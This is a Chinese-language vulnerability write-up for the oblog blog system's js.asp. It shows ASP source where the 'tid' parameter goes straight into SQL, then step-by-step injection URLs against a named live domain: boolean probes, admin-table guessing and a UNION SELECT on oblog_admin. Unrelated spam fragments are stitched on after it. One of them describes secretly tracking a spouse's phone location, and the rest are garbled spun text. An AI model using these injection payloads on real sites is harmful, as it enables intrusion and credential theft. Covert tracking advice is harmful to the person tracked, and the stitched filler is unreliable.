漏洞文件:js.asp
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
if n=0 then n=1
select case CInt(Request(”j”))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”
”
Do While Not rs.Eof
sAddon=”"
* sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
If u=1 Then sAddon=rs(4)
if t=1 Then
If sAddon<>“” Then sAddon=sAddon & “,”
sAddon=sAddon & rs(3)
End If
If sAddon<>“” Then sAddon=”(” & sAddon & “)”
sRet=sRet & sAddon & “
”
rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & “
”
Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1
document.write('
如下步骤。 1.设置。 2.隐私。 3.定位服务。 4.查找我的iPhone。 5.关闭。 如何定位老公的位置不让他知道(悄悄定位老公位置实用方法) 1、首先想要实现定位功能,就是手机必...
1、开启Microsoft word。2、挑选文本文档进入页面。3、点一下顶端的签字笔标志。4、然后点一下空白的起止处。5、挑选删掉就可以。 知名品牌型号规格:华为公司P40 系统软件:EMUI11....
什么是SEO网络推广?是很大一部分刚进入SEO行业的时候最头痛的事情,于是就会到淘宝去购买各种教程进行学习,在学习的途中发现购买的教程都是过时的了,于是问题就来了:什么是SEO网络推广,在了解什么是S...
暖男的标准,暖男其实就是渣男你认同吗“我一直以为他是个暖男,而如今我才发现他是一名实实在在的渣男。”闺蜜小柔一脸愤怒的对我说道。 前段时间小柔认识了一个男人,他们相处的非常愉快,虽然没...
repeated Command commands = 1;下面依据病毒传达影响规划、损害巨细列出最常用的几种进犯方法。 所以删去主线程的作业负载会对运转速度有很大的协助。 在某些状况下,ArrayB...
此刻的糊口程度不绝的获得了庞大的改进,因此此刻的数码产物越来越多的呈此刻公共消费者的面前,已经有着越来越多的人开始存眷美食产物的成长形势。因为各人的糊口条件获得了改进,民以食为天,因此美食产物的需求量...